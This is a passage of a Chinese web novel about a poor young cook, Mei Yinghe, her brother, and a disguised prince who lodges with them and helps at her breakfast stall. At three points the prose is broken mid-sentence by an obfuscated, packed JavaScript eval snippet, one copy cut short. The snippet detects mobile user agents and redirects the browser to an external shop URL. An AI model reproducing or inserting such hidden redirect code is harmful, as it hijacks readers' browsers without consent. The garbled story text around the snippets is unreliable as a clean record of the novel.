梅映禾心里头略算了一下,就是十贯钱,一万文,去掉七百文,还有九千三百文。 有些惊到了,好多钱。 可是…… 梅映禾没有接,道:“我跟赵小郎君说过的,我们是救命不图财,酬金我是要收的,但是只收应得的,你们给得太多了。” 梅映禾再穷,做人也是有底线有原则的。 佑安显然没料到她会拒绝,难道郎君没跟小娘子商议好吗,佑安为难道:“小娘子与我家郎君如何商定在下不知,但我家郎君信中吩咐过,要给小娘子这些,佑安不敢违抗,若是小娘子拿着不方便,佑安直接送去府上,等小娘子见到我家郎君再议吧。” 是这样吗?那也只能先这样了。 干脆利落的小娘子行了个礼道了谢,转身潇洒地消失在大雨里。 明媚灿烂的笑容直击心脏,佑安一瞬间仿佛明白了郎君要继续赖在人家家里的原因。 京城落雨,但街道上的人却不少,到处炊烟袅袅,欢声笑语夹杂着雨声,格外温馨热闹。这才是繁茂京城该有的样子,梅映禾想,她一定要住到京城里来。 转了两道街口,梅映禾又来到了夜市的区域。 大白天又下着雨,人的确少了许多却也不是一个客都没有,梅映禾站在廊檐下瞧了很久,确定这里是个不错的去处,现成的铺子和招牌幌子,现成的客流,省去了许多麻烦。如此打定主意,梅映禾辗转打听了好几个人才找到了统管夜市的署衙,市井监。 身后,梅九畴没看到妹子,一门心思想要尽快找到活干的他,正冒着大雨一家一家地走访、询问,就是想看看谁家缺劳力。 可是,人家都有长租的人,即便是短租也都是用过几次比较放心的,像他这样的生脸又没有中间人介绍,实在没有人家敢用。 梅九畴垂头丧气地一屁股拍在石阶上,望着大雨愤懑。身后一老翁闷声道:“郎君若是不怕苦倒也不是没地方可去,我看你身材壮实颇有些力气的样子,不如去码头看看吧,那里整日都有船靠岸,正缺扛货的伙计,虽不是长期却日日都不缺活干,只是实在辛苦得很呢。” 辛苦不怕,如今的梅九畴只怕七尺男儿要靠着妹妹养活,他一门心思做点儿正经事儿,赶紧道了谢直奔码头去了。 想当年阿爹阿娘都在的时候,简直将早儿捧在手心里,如今爹娘走了,他这个没用的哥哥非但没让妹妹过上好日子,反而惹了大祸欠了这么多银子,逼得小早日日辛苦。 小早长得好,那些来买早食的人眼珠子都快长妹子身上了,想起这些,梅九畴就牙痒痒,他后悔自己干的那些蠢事,只想快些找到活儿干养家,这样早儿就不用抛头露面了。至于他那参军的理想,他觉得妹妹说得对,如果有机会他自然不会放弃,只是那条路实在太难,对于他这样的平头百姓就更难了,况且,眼下也不是招兵的时候,且不能坐在家里干等吧。 如此想着,脚下生风,码头近在眼前。 事情竟然比想象的还要顺利,那人看了一眼梅九畴当即便答应了,道:“咱们这里管饭,虽吃的不好却也能填饱肚子。只一样,服管。让干什么就干什么,不能违抗命令。” 梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13819658|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九畴当即答应,签字画押,这便是成了,说好了明日来上工,只干半日,每日能拿三文钱。 虽然三文钱不算多,可是做得久了说不准叫哪家贵人看上便能有个落脚之地,那时候拿的就多了。 梅九畴长这么大头一次压下脾气好声好气地学着妹妹的样子同人打交道,虽不习惯却觉得这样倒是办事极快。 找到了生计,梅九畴很高兴,兴冲冲往家去。 走到院门口的时候刚好碰到了回家的小早,梅映禾看着淋透了梅九畴,跺脚大叫:“哥哥——” 知道她又要怪他不爱惜自己了,梅九畴不敢停留,赶紧溜到房子后头打水沐浴。 天色昏暗,屋子里没有燃烛灯,隐约看到了一个人影。赵行之听到了动静,撑着下床,刚好看到了回来的梅映禾。 小娘子虽然穿着蓑衣,可刘海和鬓发还是打湿了,脖子里也灌了雨水,脸上带着水汽越发显得皮肤白皙。 “佑安……” “已经走了。” 梅映禾刚想询问就被赵行之打断了,只见他拿了干帕子递过来,“赶紧擦擦,会着凉的。” 小郎君显然不怎么懂得照顾人,递了帕子就别过脸去不看她。 梅映禾接过道谢,“赵小郎君,你给那么多银子是要在这里长住吗。” 她脱下蓑衣,一边擦拭发梢一边看着他,眼前的男子足足比她高了一头,那张脸看不出表情却泛起浅浅的红润,看着气色好了许多。 “是,大概,半个月,或者更长。”赵行之递给她锦袋,“银子你先收着,多退少补。” 他今日看上去脾气很好的样子,声音也很温和。 梅映禾摇头,“那也用不了这么多,无功不受禄。” “那……”他看上去有些窘迫,却迟迟没有说出后面的话。 “那你就多做些好吃的,给赵郎君补补身子。”梅九畴从后头走进来,已经擦洗过了身子,还换了一身干净的衣裳,嘿嘿一笑,道,“一定是早儿的厨艺把赵郎君的馋虫勾出来了。” 赵行之:…… 竟无法反驳。 高大的小郎君被调侃,一张脸红成了柿子。 梅映禾想了想,点头,“那好吧,这些银子我就先收着,等你走的时候再折算,吃食上你放心,必不能亏待了小郎君的五脏庙。” “刚好,我还想入夜市做些吃的,那就先试着做些让赵郎君帮我品鉴品鉴。”梅映禾笑着收起锦袋,这可是一万文钱,能吃出花来。 “小娘子想进夜市?”赵行之问。 “是,但是只是想想,今日去问过,人家要一千文,另外每月还要抽三成,还要找中间人做担保,不然就要多给一笔介绍费。”梅映禾摇头,两手一摊,“算来算去成了天价,实在是有些难。” 赵行之大致明白了为何她刚进门的时候是那副愁眉苦脸的模样了,看了看小娘子眉宇间的忧色,赵行之没接话,梅九畴却先反对起来,“夜市不急,哥哥已经找到了活儿干,明儿起就去码头扛货,只干半日,可以一早陪你去安顿好,就是不能陪着你卖早食了。” 想起那些书生直勾勾的眼神,梅九畴左右为难。 得知哥哥还是去了码头扛货,梅映禾心疼,撇嘴道:“那我一个忙不过来怎么办,哥哥不担心我吗。” “担心啊,可是哥哥……小早别急,哥哥会想到办法,还有……”梅九畴一时被妹妹说得心慌,捏着嗓子哄她。 “还有我。” 一旁冷冷的声音传来,兄妹二人齐齐看向赵行之,只听他道: “明日起我陪着小娘子去卖早食。” 7. 七哥 佑安来的时候,不仅带了赵行之的衣裳用具,还带来了御赐的金疮药膏和梅九畴、梅映禾兄妹两个的所有资料。 拉拉杂杂足足三大车东西。 赵行之:…… “王爷放心,属下做得很隐蔽,东西藏在后山的小树林里头,距离这里还有两公里,没有人看见。” 佑安抱拳单膝跪地回话。 半晌,无声。 他小心翼翼地慢慢抬头看向赵行之,看见了一张也不知是气的还是病的,惨白的脸。 再看看自家主子穿在身上那件好似偷来的衣裳,破旧,洗得发白,还很瘦很窄,看着都勒得慌,佑安倔强道: “王爷,即便是藏身也不必如此落……魄……” 一道凌厉的眼神扫过来,佑安瞬间闭了嘴。 “说正事。”赵行之面色不悦。 “是。”佑安思量一瞬,道:“王爷有规矩,属下不能自作主张寻您的下落,佑安不敢违抗,但也不能白等着,便着人去查了,只是这才两三日光景,还没有确切的消息递过来。” “宫里头呢。”赵行之眉头紧锁。 “陛下昨日午时得了消息,听说王爷被伏击失踪,当场就昏厥过去,整个太医院都去了勤政殿,今日清晨才苏醒。”佑安看了他一眼,“应无大碍了。” 太医院的孙院正是赵行之的人,他既如此说,那便假不了。 看来,皇兄是真的担心他的,这是不是就说明…… 赵行之的眉头略有松动,一张紧绷的脸也逐渐恢复了血色。 “陛下虽忌惮王爷,可毕竟亲情还在,到底是一同长大的手足,属下觉得,若当真此番乃陛下派人刺杀王爷,那就不会因为听到王爷受伤失踪的消息而气绝昏迷了,所以,属……” “不必说了。”赵行之打断了佑安的话。 这些他又岂能不知,可实在是无可奈何之举。 从小一起长大的亲兄弟,对于赵行之而言,父皇母后固然亲切,却都不及皇兄那般知根知底。相差八岁的兄弟两个,一同吃一同玩一同读书、练习骑射,一同顽皮被罚,而每次都是皇兄护着他,被父皇加倍责罚。可自从父皇驾崩皇兄登基以来,赵行之就发现,她们兄弟之间的那种亲昵变味了。 敏性如斯,皇兄那审视的眼神,试探性的玩笑话语,以及他派来的暗卫和密探,怎能瞒得过他。皇兄对他的了解一如他对皇兄的了解,他们太熟悉彼此了,乃至于对方出什么招都了如指掌。可是,他从未有过不臣之心啊,赵行之不理解,他究竟做了什么让皇兄改变了对他的态度,竟然连他都要质疑。这样的关系持续了三年了,这三年里,赵行之几乎没睡过一个安稳觉,没吃过一顿安稳饭,那是至高无上的皇帝,也是他最亲的兄长,是这世上他唯一的至亲。 他不愿多想,总觉得是自己太敏感了,可是一桩桩一件件事情的发生,又作何解释,就如同这一次,他受密令领兵赴西南支援,所带皆是精英兵卫,那是他秘密培养的一支队伍,不到万不得已是不会起用的,可完成任务回宫路上却遭到了劫杀,一支大隶最强的队伍就这样被伏击,对方仿佛对他们的强技和阵型了如指掌,步步紧逼,招招毙命,全军覆没只剩他一人死里逃生。可是,这样一件只有他们兄弟知道的事情,又是谁能够在准确的时间准确的路线上做好如此精准的埋伏呢…… “一切等查清楚再说吧。”赵行之捏了捏酸胀的眼角,看了一眼仍旧单膝跪在地上的佑安,“你先起来。” 这个跟了他十来年,从小一起长大的常随,赵行之很了解他的脾气,“我在这里衣食无忧,那些东西你带回去。” “王爷……” 赵行之一个眼风,佑安立即改口,“郎君,哪里衣食无忧。” 看着他不合身又寒酸的衣裳,这副装扮就是大摇大摆走到京城的大街上,恐怕也没人能认得出来这便是当今陛下同胞手足晋王殿下。 佑安觉得自家主子简直从未有过的落魄。 他常年征战习惯吃苦,落下了不思茶饭的毛病,就是不管什么样的山珍海味摆到他面前,他的眼神里都让人觉得,那是一碗难以下咽的丑饭。 如今又落得这副田地,佑安环视了一下这个所谓的“家”,残垣断壁、破旧不堪,不知道的还以为是作战现场,莫说美味佳肴,恐怕都吃不饱饭。 可偏偏那位长相俊俏的小娘子还不收他的银子,骨气固然可叹,可也不能饿肚子啊。 佑安摇头,还想继续再劝却对上了赵行之不耐的眼神。 也罢,主子说什么便是什么。 “金疮药膏留下。”赵行之拿着那精致的瓷瓶在手中把玩,“倘若真是皇兄所为,他恐怕更希望我死,即便不死能看着我受重伤也称了心意,所以,这个时候一动不如一静,如果皇兄当真担心我的安危,那也只能先对不起他了,且看看这几日的风向再说。” 佑安点头,“属下也是这个想法,但是属下担心王爷在此处的安全,那位梅小娘子走后属下便寻了地址查过了。” 短短时间,佑安已经将梅九畴和梅映禾兄妹两个的情况摸了个底儿掉,卷宗交到赵行之手上,他一目十行快速阅过,点了点头,“原来还有许县丞这档子事。” 随后又想起什么,问:“可是那位被贬官的大学士许且?” 佑安说正是,“因为上奏弹劾几名官员而被人算计,陛下此举也是为了保护他吧。” 赵行之不置可否,点了点头,“这位老先生也是孤勇之人,自从白将军冤案一家惨遭灭门之祸,他的行事作风便完全变了一个人……” 提起这些心里便有如蛇虫鼠蚁在啃食,难受得紧,赵行之默了默,“这兄妹俩,很好。” “是,王,郎君暂住这里还算安全,但是属下也查到了一些蹊跷。”佑安吞吞吐吐。 “说。” “是,属下发现他们的爹娘都是不识字的,可是这兄妹两个的名字起得却饱含深意,这是其一,其二,好像他们的父母死得也很古怪,而且据说当年他们的母亲生下一子后因身体有恙而无法再孕,那这位梅小娘子……” 佑安虽啰嗦却也有他的好处,做事情极仔细、较真儿。 “你起来回话。”赵行之道,“这些总归是人家的家事,且慢慢详查吧。” 佑安起身点头,“是,属下也觉得这梅小娘子……甚好。” 声音不对,赵行之转头看他,那张正气凛然的脸上泛起两块坨红。 “你可以走了。”赵行之撵人。 “可是属下还是觉得王爷,郎君的衣裳……”佑安穷追不舍却也不敢再说下去,“属下实在担心郎君的身子,不若属下给郎君送些吃的过来,梅家兄妹也可以……” 不知怎么的,赵行之想到了那锅他没吃到的地锅鸡,不耐地打断他道:“他们不缺吃的。” 默了默又补充,“我在这里你放心,她们很会做吃的。” 佑安:…… 是吗? 主子发话了,佑安只能听命,刚想辞出,又听赵行之道:“你再去查查这梅花村的事。” 却没说什么事,佑安领命,见主子不再吩咐,又掏出锦袋交给赵行之,“这十两银子梅小娘子不收,没想到,他们穷成这样她却……” “她却是个有骨气的。”赵行之接过锦袋,“她穷得很,也财迷得很。” 银子拿在手上,很轻,赵行之道:“过几日我会想办法入京,到时候再跟你联络。” 故而,当日,梅九畴担心梅映禾一个人卖早食无人陪伴的时候,赵行之自告奋勇。 然,却换来兄妹俩异口同声的:“不好。” “你想做甚?”梅九畴眯起眼审视他,一副我知道你小子打得什么主意的样子。 在他看来,妹妹看不懂的,作为兄长的他可谓一眼识破,这些小郎君,有一个算一个无不冲着早儿的容貌,别打量他们好欺负,为了妹子他梅九畴什么都干得出来。 “就是想帮个忙。”赵行之回答得很坦然,声音清冷,眼神清澈,实在有些不明白为何这个看上去有些憨的汉子作何这样警惕。 “你有……” “你有伤,怎好叫你这样起早贪黑地帮忙。”梅映禾笑嘻嘻地拉过哥哥,向赵行之道谢,“先谢谢小郎君,你该好生休养,其实你也不必觉得亏欠我们,你给了银子的。” 她抛起锦袋掂了掂,袋子里的银子发出哗啦啦悦耳的声音。 “救命之恩不是银子能交换的。”赵行之的声音不疾不徐,淡淡的,却有一种不容置疑的坚定。 这话说得坦荡正气,让梅九畴一下子相形见绌,很不好意思自己小人之心了,实在是让那几个白面书生给搞得神经过敏了。转念一想,还是妹妹的安危是第一位的,防一只狼总比防一群狼要容易得多,况且这只狼还在眼皮子底下。 “那个……”梅九畴又站出来打圆场,“我看如此也不是不行。” 梅映禾:…… 哥哥这就变了? “他是个军人,为人我信得过。”梅九畴冲着妹妹笑笑,“小早一个人哥哥不放心,如此几日,等哥哥熟悉了自会安排好时间,到时候又能陪你一起了。” 梅映禾也不是个矫情的人,既然两个人都如此说了,那便如此吧,她是无可无不可。 “可是总要有个名头吧。”在妹妹的事情上,梅九畴心细如发,“你们,这样出去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13819659|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对我妹子的名声不好。” 他想了想,又看了看二人,别说,还真是有点儿像,一拍脑袋,“不如就说是远房表亲,早儿,你改口唤他二……” “我家中行十七。”赵行之赶忙插话。 “那就叫七哥。”梅九畴拍板。 赵行之:是十七…… 是几都无所谓,梅映禾对此不甚在意,她心里在想着另一桩事,“好,这事就这么定了,可是哥哥,你去码头找工为何不告诉我,我可是……” 知道这茬事儿还没过,梅九畴忙道歉,“哥哥不是有意瞒着你,巧了,就是巧了,人家刚好招工,你看这不是缘分是什么。” “哥哥。”梅映禾跺脚,“你在家里坐,谁上门找你做工,你忘了阿爹跟你说的话了。” 眼泪在眼眶里打转,梅映禾的眼圈红了,看上去更加楚楚可怜。 “记得,阿爹的话哥哥记得,小早的话哥哥也记得,现在不是没有招兵吗,等发了榜文哥哥一定去报名,就算再难都得去试一试。”梅九畴急得一头汗,“早儿不生气,哥哥做工是暂时的。” 人高马大的汉子温声细语地弯腰哄着妹子,这画面,让赵行之莫名有些羡慕。 “小早说得对。”他也开始尝试改口,“做苦工非但不能锻炼身子,反而会有损伤,还是少做得好,不过,一时应急也无妨,我在兵部有些门路,到时候帮你留意榜文,说不定可以帮你一把。” 那可真是太好了,梅九畴感激地看着赵行之,“多谢,兄弟。” 话音未落,外头传来熟悉的声音: “小早在吗?” “小梅姐,我在。”梅映禾跳着跑去开门,“快来。” 小梅今日穿了一身粉红的新衣,簇新的料子甚是鲜艳,进了门眼神就直往梅九畴那处瞟,一张脸越发红了。 “小梅今日真好看,这是李婶儿给你做的新衣裳吗?”梅映禾欢喜地将人拉进屋里,按坐在自己的位子上,就在梅九畴身边。 “啊,是,之前的衣裳都小了,阿娘就扯了几尺布新做了两身。” 小梅的手指捏着衣角揉搓,坐在梅九畴身边人也显得拘谨起来。 “哥哥你看,好看不。”梅映禾拉着梅九畴问。 “好看好看。”梅九畴含含糊糊地应着,却没敢看一眼。 小梅抬起头看过来,这才看到对面还坐着一陌生男子。 “这位是我们的远房表亲。”梅映禾说得很顺溜,像抱着梅九畴一样,抱着赵行之的胳膊晃着,“七哥,这是小梅姐,我和哥哥这些年全靠他们家接济才活下来的。” 被小娘子柔软温热的小手抓着,赵行之浑身僵硬,面上却不显,和小梅相互见了礼,这才不动声色后退一步,趁机抽回已经麻掉的胳膊,十分有眼色道,“小早,我们去泡茶。” “啊,好。” “啊,不用。” 小梅赶紧解释,“我就是来看看你这里有什么需要帮忙的,阿娘说你们要做的事情太多,那些……” 她又看了一眼梅九畴,“体力活儿我也行。” 梅映禾:明白。 又转头看了一眼赵行之。 赵行之:明白。 “刚好,我哥哥这几日在修房子,明日他就要去码头扛货,怕是没什么时间了,不如趁着今日让小梅姐给你搭把手,赶紧把房子修好,哥哥,明日你干活也放心些,七哥身子弱,我们去做点吃的。” 话都让她说完了,梅九畴每到这个时候就变成了木头,说什么便应什么,“嗯,欸,好。” 小梅红着脸跟在梅九畴身后去了院子里,梅映禾笑嘻嘻地看着,心里头盘算着等家里赚了银子,得帮哥哥提个亲吧,这么好的嫂子可不能让人捷足先登了。 一转头,正对上一双漆黑明亮的眸子,赵行之正看着她。 看到她看过来,大大方方一笑,“小早,打算做什么好吃的。” “炖个杂鱼吧。”梅映禾早就想好了,回来的时候还特意买了鱼。 赵行之:“甚好。” “可是七哥有伤,鱼是发物,不能吃。” “十七哥,嗯,不过你这是黑鱼,可以吃。” “可以吗?” “可以。” “不能吧。” “能。” …… “小早。”门口站着一位一身长衫,眉清目秀的小郎君,“我来看看你。” 四人齐齐抬头看过去。 “秀才哥。”梅映禾跑过去开门。 秀才看到她的那一刻,一张脸红得能滴血。 与此同时“啪”一声响,梅九畴手里五寸粗的长木被生生撅断。 8. 炖杂鱼 “小早……啊……” 秀才刚一开口,就见一三丈长的木棍裹着风声咻咻地直奔面门而来。 “哎呀……” 秀才情急之下蹲地抱头,木棍“咣当”一声擦着衣衫落在脚边,震得脚面发麻。 “哥哥,你这是做甚。”梅映禾赶紧上前要去看个究竟,却被梅九畴一把拉住胳膊。 “你来做甚?” 梅九畴凶神恶煞,横眉冷对。 秀才战战兢兢:“听说小早病愈,过来,过来看看她。” “那现在看过了,可以滚了。” 秀才哥大名苏言,人称苏秀才,是梅花村为数不多的几个读书人之一,因此即便还无官身却也十分被看好,多了去了人家想把女儿嫁给他,除了梅九畴。 苏言和梅映禾算是青梅竹马一起长大,原先跟隔壁李婶儿一家一样都是邻居,只是后来秀才娘觉得邻居们甚是可怕,特别是梅家九郎,整日喊打喊杀实在有辱斯文,还有他那个妹妹,长得实在太俊……怎么说呢,总觉得会影响自家儿郎的锦绣前程,故而,秀才娘在一年前效仿“孟母三迁”搬走了。 虽然住得远了,距离依然没能挡住苏言初开的情窦。 只要一瞧见梅映禾,苏言的脸就像绸子布一样,整个人也变得局促紧张。 梅九畴对于这对母子无甚好印象,儿子瘦得小鸡子似的,唯唯诺诺没个男人样,娘就跟母夜叉一般无二,还偏生这秀才总来烦他的宝贝妹妹,若是无人,梅九畴早就想教训一下这想吃天鹅肉的癞蛤蟆了。 “可是,我……” “哥哥。” 梅映禾拦住自家哥哥,“来者都是客,干吗这么凶。” 说完笑着将秀才迎了进去。 “我听说你家出了事,当真是心急如焚,可是在书院出不来,今日终于休一日便赶紧过来看看你。”秀才慌忙解释,“你看,这是我给你买的绢花,是,是用我自己在书院的奖银买的。” 绢花便是丝绢或布艺做的头花,梅映禾家穷,身上连一件饰物头花都没有。 “拿走,小早不稀罕。”梅九畴开口,被妹妹瞪了一眼。 “谢谢秀才哥,这个我不能要。”梅映禾笑着道谢,秀才的心思她不是不懂,原主什么想法她不知道,但是她知道自己并无此意,“我整日要干活,这一身衣裳也不配。” 她自嘲地笑笑,“秀才哥有口福,今日吃炖杂鱼,留下来一起尝尝吧。” 很自然的一句话,将话题岔开,梅映禾大大方方地将秀才带去灶房,还不忘回头又瞪了一眼自家哥哥,比口型道:“干活去。” 看着横眉冷对却又无可奈何的梅九畴,赵行之很是不解,这个兄长是不是有点儿太紧张了,是,梅小早的确很好看,可也不至于如此严防死守吧,那将来他这妹子如何出嫁,若是出嫁了,他岂不是要将新妹夫碎尸万段。 “那,那……”梅九畴左顾右盼,一回头看到了站在一旁看热闹的赵行之,“那就让你七哥帮你。” 说着上来扯住赵行之就推进灶房里,还附在耳边叮嘱:“给我看住了这小子。” 也罢,佑安送来的金疮药膏甚是有效,赵行之好了许多,也想活动活动筋骨。 可是进了灶房,赵行之发现自己对庖厨之事竟一窍不通,好像帮不上什么忙,于是便抱胸站在一旁,当起了监工。 眼前的小郎君和小娘子还真是要好,一个烧火,一个在灶上洗洗刷刷邦邦邦地切菜。 烧火的那个没什么可看的,倒是梅小早娴熟又利落的动作吸引了赵行之的注意。 没想到柔弱娇小的小娘子干起活来如此干练干脆,手起刀落,鱼块被切成一样长的粗短,切口整齐,葱姜蒜更是不在话下,分分钟切好装盘,码得整整齐齐。 就好像习武之人,不但出手要有杀伤力,动作好看也很重要。 这梅小早的动作,赵行之觉得,甚是漂亮。 屋外的阳光斜斜照到她身上,周身被光晕笼罩,眼睫、发梢都闪着细碎的金光,肤若凝脂、唇红齿白,眉眼灵动又专注,一双纤纤巧手更是妙不可言。 “小早,火候可好。”苏秀才问。 “嗯,甚好。”梅映禾笑眯眯地看着他,“这炖杂鱼最重要的就是火候,秀才哥,真厉害。” 小娘子眉眼含笑,甚是娇俏。 那一瞬,赵行之好像明白了梅九畴的紧张。 再看蹲在地上烧火的秀才,一双眼早就看直了,发现赵行之盯着他,这才赶紧羞涩地收回目光,冲他点了点头,“七,七哥。” 也难怪梅九畴讨厌他,赵行之觉得自己也开始讨厌他了。 “你去劈柴,这里我来。”赵行之冷着脸冲着苏言道。 “可是,我……”苏言显然不乐意,“小早说我烧火很好,不如,七哥你去……” 话没说完,就对上那双深邃幽黑的冷眸,苏言只觉得头皮发麻。明明都是小早的哥哥,穿得也很普通,可是眼前这个人却给人一种上位者的威压,颇俊逸的五官一点儿亲和力也没有,好像分分钟能将他撕碎。 和梅九畴的直愣莽撞不同,眼前这个“七哥”看上去十分阴冷可怕。 “好,好吧。”苏言被赵行之的眼神逼得不由自主站起身,“那,小早,我先去劈柴。” “哦,好。”梅映禾笑着回应,没看见他们二人的眉眼官司。 赵行之接过苏言的活儿,开始烧火。 人生第一次干这种事儿,赵行之并不在行,好在行军打仗多年,在野外也常生火炙肉,故而,很快便上手了,而且他还无师自通,留意着梅映禾放佐料做菜的步骤,来判断火候的掌握,热油用大火,烹炒佐料用小火,炖鱼先用大火,看她放了豆腐进去香味出来了,开始变小火慢煮。 梅映禾无声地忙碌着,对于这个新任的“伙夫”的技艺倒是很惊讶,哥们儿很会嘛。 嘴上不说,手里的动作因为配合默契而十分流畅。 没卡bug,痛快,梅映禾做得更加得心应手。 炖杂鱼其实就是一道非常家常的菜肴,也是因为银子不够,梅映禾这才捡着便宜的鱼各买了几条,去内脏和鳞片收拾干净,锅中热油,放入葱姜蒜和香料炒出香味后,将鱼放入锅中,煎至金黄,再倒入配好的料汁和清水,大火烧开后转小火搁点儿豆腐,慢炖至汤汁浓郁,再配上米饭,很绝。 看着锅里的鱼,梅映禾想起了带她入行的师父曾说过一句话:“治大国如烹小鲜,小鲜就是小鱼,意思是鱼不能来回翻,翻多了就散了。政令不能朝令夕改,不然不成体统,人心也散了。” 至于如何治国,梅映禾不懂,师父也不懂,但是做鱼却是在行的,小火慢炖,切忌多次翻炒。 说到火候,梅映禾看了一眼专心致志烧火的帅哥,从她的视线看过去,鼻梁高挺,浓眉秀目,嘴唇不厚也不薄,刚刚好…… 那人似乎察觉到了她的目光,喉结滚动,“那个秀才配不上你。” 梅映禾:…… “我于男女之事上没兴趣。”梅映禾耸了耸肩。 赵行之琢磨着这句话,先是满意地点了点头,继而又皱起了眉头,他开始替梅九畴有了新的担忧。 “我烧的火,如何。”他问。 “还行吧。”梅映禾蹦跳着出去舀水了。 自觉相当不错,可是人家却一句“还行吧”敷衍了之,赵行之心里不爽,冷着脸对着炉火,还行,还吧,那是行还是不行,不行也比那个酸秀才强。 报复性地又往炉膛里戳了两根柴火,陡然发现火势忽盛,又赶忙伸着手给捏出来,烫得面部扭曲直捏耳朵。 大约一炷香后,梅映禾掀开锅盖,浓郁的香气飘散,着实震惊了赵行之,鱼香、辣香,还有香料混着配菜的味道,交杂又融为一体,简直让人欲罢不能。 大家都停了手里的活儿,梅映禾盛好了米饭,再用鱼汤浇在上头,搁几块炖成浅褐色的豆腐,咦,香迷糊了。 按照梅九畴的意思,是绝对不会让苏言留下来吃饭的,可是梅映禾看着那整整半面墙的柴火,眦眉瞪眼带撒娇地还是将人留了下来。 赵行之本对吃无甚兴趣,太医说他厌食,那又如何,也没饿死。 可是,自从上次错过地锅鸡,赵行之身上的某个机关仿佛被打通,对于梅小早做的每一顿饭都十分期待,就是那种,早上吃完就忍不住想问:“中午吃啥?”午饭才下肚又开始期盼晚上吃啥的感觉,总之,每一天都充满了希望和期待。 这便是梅映禾每一日的生活,再烂的开局,再不济的现状,都比放弃要强,这不,日子一天一天慢慢就过好了。 正如事先商定的一样,第二日梅九畴将梅映禾和赵行之送到了地方便匆匆忙忙赶去上工了。 昨日下了一整天的雨,她没来卖早食,可是人家一个都不落全都来了。 看到她,大家关心着说笑着给她腾出地方。 因为梅映禾的主意,昨日阿婶和阿伯的生意出奇得好,特意多做的早食全都卖得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大约四五个软饼之后,赵行之便可以熟练上手了,梅映禾放下心来。 小娘子这才专心伺候起食客,一边跟人闲聊互动,一边双手翻飞,磕鸡子、撒葱花、抹酱料,动作优雅好看,人更是可爱娇俏。 赵行之收回视线,一种从未有过的踏实、幸福的感觉涌上来,倒是有点儿沉迷此境了怎么办。 摊铺前很快排起长队,队伍中,赵行之看到了梅九畴口中的“酸怂秀才”。 的确又酸又怂,伸长脖子想看小娘子,却全然不顾自己看上去活似个丑龟。待到小娘子眼前,问他要什么酱料,堂堂男子汉扭捏得像个大姑娘,话都不会说,嗓音也变了味儿……还有那一双双眼,恨不能钉在梅小早身上,拔不下来。 真是烦人。 赵行之深深地理解了梅九畴。 同样是没有好脸色,梅九畴多少顾念着生意和银子,最多只在态度上厌烦了些,赵行之却全然不顾其他,拉着脸直接将人撵走,不卖给他们。 “为何,凭什么不卖给我们。”秀才们抗议,在心爱的小娘子面前丢丑,一个个脸红得发紫。 “滚。”赵行之没有多余的话,只一个字出口,便拔出随身的短刀,“唰”的一声扎入了一旁的粗树上,短刀足足扎进去三寸之多,看得秀才们心惊肉跳,一个个不顾体面抱头鼠窜。 “七哥……” 梅映禾开口,却被赵行之拦住了话,“不怀好意,卖给猪也不卖给他们。” 后面排队的猪:…… 这段小插曲没有影响梅映禾的生意,反而因为昨日没出摊,今日卖得格外的快,才一个多时辰,四十五个软饼卖空了。 向众人告辞,赵行之拒绝了梅映禾要帮忙的请求,一个人推着平板车和独轮车跟在梅映禾身后往家走。 路过夜市,梅映禾十分眼馋地看了看,又看了看,轻轻叹了口气,这才恋恋不舍地走了。小娘子真的很想进夜市啊。 这一切都被赵行之看在眼里。 然,到家才发现,又出事了。 那几个浓妆艳抹的丑妇堵在家门口,彼此间你推我搡,斜着眼骂骂咧咧,一个个在看到梅映禾时,满脸的褶子堆在一起,露出猫看耗子的欣喜神色: “哟,梅小娘子回来了,有好事上门,恭喜贺喜啊。” 9. 辣条、薯条、江米条 扑面而来的脂粉浓香,混杂着油烟的味道,熏得梅映禾直反胃。 “小娘子恭喜贺喜啊,王员外听说小娘子病愈,特让老妇来提亲来啦。”一个身形胖胖的丑妇一撅屁股,将赵行之挤开,一把抱住梅映禾的胳膊,道:“婚书我都带来啦,你快看,可是正儿八经的姨娘,不是什么养娘、外室,可见王员外是真的稀罕小娘子哟。” “去去去,那王老头儿都快入土的人了,当小娘子的爷爷都嫌老,你也好意思说。”一旁另一个瘦猴儿一样的妇人拉住梅映禾另一只胳膊,“我这儿,张家小郎君,正儿八经的二八青年,大好年华,梅小娘子你是个有福气的,人家愿聘你为正房太太,这才是咱们小娘子的天赐良缘呢。” 瘦猴儿丑妇瞥了一眼那胖妇,“你那个糟老头子就省省吧。” “梅小娘子,别听她胡说八道,什么二八青年,那就是个整日泡在花街柳巷的病秧子,染了一身的脏病,娶不上媳妇来祸害小娘子来了。” 说话的是另一个个头矮小的妇人,“小娘子不如考虑门当户对的人家,我这里,隔壁村的光棍汉,年不足四十,不大不小,未婚配过,单身雏儿一个。” 说着掩嘴吃吃地笑着,“说是看上小娘子样貌好,愿意拿全部身家交予小娘子管,日后事事听媳妇的……” 